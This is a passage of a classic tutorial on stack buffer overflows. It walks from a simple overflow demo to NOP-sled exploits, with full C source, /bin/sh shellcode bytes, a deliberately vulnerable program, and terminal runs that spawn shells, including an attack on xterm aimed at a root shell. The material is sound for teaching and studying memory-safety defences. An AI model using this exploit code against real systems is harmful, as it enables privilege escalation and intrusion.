Writing an Exploit
~~~~~~~~~~~~~~~~~~ (or how to mung the stack) ~~~~~~~~~~~~~~~~~~~~~~~~~~
Lets try to pull all our pieces
together. We have the shellcode. We know it must be part of the
string which we'll use to overflow the buffer. We know we must
point the return address back into the buffer. This example will
demonstrate these points:
overflow1.c ------------------------------------------------------------------------------
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() { char buffer[96];
int i; long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++) *(long_ptr
+ i) = (int) buffer;
for (i = 0; i < strlen(shellcode);
i++) large_string[i] = shellcode[i];
strcpy(buffer,large_string);
} ------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o exploit1 exploit1.c [aleph1]$ ./exploit1 $ exit
exit [aleph1]$ ------------------------------------------------------------------------------
What we have done above is filled
the array large_string[] with the address of buffer[], which
is where our code will be. Then we copy our shellcode into the
beginning of the large_string string. strcpy() will then copy
large_string onto buffer without doing any bounds checking, and
will overflow the return address, overwriting it with the address
where our code is now located. Once we reach the end of main
and it tried to return it jumps to our code, and execs a shell.
The problem we are faced when
trying to overflow the buffer of another program is trying to
figure out at what address the buffer (and thus our code) will
be. The answer is that for every program the stack will start
at the same address. Most programs do not push more than a few
hundred or a few thousand bytes into the stack at any one time.
Therefore by knowing where the stack starts we can try to guess
where the buffer we are trying to overflow will be. Here is a
little program that will print its stack pointer:
sp.c ------------------------------------------------------------------------------
unsigned long get_sp(void) { __asm__("movl %esp,%eax");
} void main() { printf("0x%x\n", get_sp()); } ------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ ./sp 0x8000470 [aleph1]$ ------------------------------------------------------------------------------
Lets assume this is the program
we are trying to overflow is:
vulnerable.c ------------------------------------------------------------------------------
void main(int argc, char *argv[]) { char buffer[512];
if (argc > 1) strcpy(buffer,argv[1]);
} ------------------------------------------------------------------------------
We can create a program that
takes as a parameter a buffer size, and an offset from its own
stack pointer (where we believe the buffer we want to overflow
may live). We'll put the overflow string in an environment variable
so it is easy to manipulate:
exploit2.c ------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0 #define
DEFAULT_BUFFER_SIZE 512
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax"); }
void main(int argc, char *argv[])
{ char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET,
bsize=DEFAULT_BUFFER_SIZE; int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize)))
{ printf("Can't allocate memory.\n"); exit(0); }
addr = get_sp() - offset; printf("Using
address: 0x%x\n", addr);
ptr = buff; addr_ptr = (long
*) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr;
ptr += 4; for (i = 0; i <
strlen(shellcode); i++) *(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------
Now we can try to guess what
the buffer and offset should be:
------------------------------------------------------------------------------
[aleph1]$ ./exploit2 500 Using address: 0xbffffdb4 [aleph1]$
./vulnerable $EGG [aleph1]$ exit [aleph1]$ ./exploit2 600 Using
address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG Illegal instruction
[aleph1]$ exit [aleph1]$ ./exploit2 600 100 Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit
[aleph1]$ ./exploit2 600 200 Using address: 0xbffffce8 [aleph1]$
./vulnerable $EGG Segmentation fault [aleph1]$ exit . . . [aleph1]$
./exploit2 600 1564 Using address: 0xbffff794 [aleph1]$ ./vulnerable
$EGG $ ------------------------------------------------------------------------------
As we can see this is not an
efficient process. Trying to guess the offset even while knowing
where the beginning of the stack lives is nearly impossible.
We would need at best a hundred tries, and at worst a couple
of thousand. The problem is we need to guess *exactly* where
the address of our code will start. If we are off by one byte
more or less we will just get a segmentation violation or a invalid
instruction. One way to increase our chances is to pad the front
of our overflow buffer with NOP instructions. Almost all processors
have a NOP instruction that performs a null operation. It is
usually used to delay execution for purposes of timing. We will
take advantage of it and fill half of our overflow buffer with
them. We will place our shellcode at the center, and then follow
it with the return addresses. If we are lucky and the return
address points anywhere in the string of NOPs, they will just
get executed until they reach our code. In the Intel architecture
the NOP instruction is one byte long and it translates to 0x90
in machine code. Assuming the stack starts at address 0xFF, that
S stands for shell code, and that N stands for a NOP instruction
the new stack would look like this:
bottom of DDDDDDDDEEEEEEEEEEEE
EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF
0123 4567 89AB CDEF memory buffer sfp ret a b c
<------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^ | |_____________________| top of bottom of stack stack
The new exploits is then:
exploit3.c ------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0 #define
DEFAULT_BUFFER_SIZE 512 #define NOP 0x90
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax"); }
void main(int argc, char *argv[])
{ char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET,
bsize=DEFAULT_BUFFER_SIZE; int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize)))
{ printf("Can't allocate memory.\n"); exit(0); }
addr = get_sp() - offset; printf("Using
address: 0x%x\n", addr);
ptr = buff; addr_ptr = (long
*) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------
A good selection for our buffer
size is about 100 bytes more than the size of the buffer we are
trying to overflow. This will place our code at the end of the
buffer we are trying to overflow, giving a lot of space for the
NOPs, but still overwriting the return address with the address
we guessed. The buffer we are trying to overflow is 512 bytes
long, so we'll use 612. Let's try to overflow our test program
with our new exploit:
------------------------------------------------------------------------------
[aleph1]$ ./exploit3 612 Using address: 0xbffffdb4 [aleph1]$
./vulnerable $EGG $ ------------------------------------------------------------------------------
Whoa! First try! This change
has improved our chances a hundredfold. Let's try it now on a
real case of a buffer overflow. We'll use for our demonstration
the buffer overflow on the Xt library. For our example, we'll
use xterm (all programs linked with the Xt library are vulnerable).
You must be running an X server and allow connections to it from
the localhost. Set your DISPLAY variable accordingly.
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit3 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "ë^1¤FF
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[aleph1]$ exit
[aleph1]$ ./exploit3 2148 100
Using address: 0xbffffd48
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "ë^1¤FF
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Warning: some arguments in previous message were lost
Illegal instruction
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit4 2148 600
Using address: 0xbffffb54
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "ë^1¤FF
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Warning: some arguments in previous message were lost
bash$
------------------------------------------------------------------------------
Eureka! Less than a dozen tries
and we found the magic numbers. If xterm where installed suid
root this would now be a root shell.
More smashing
the stack--->>
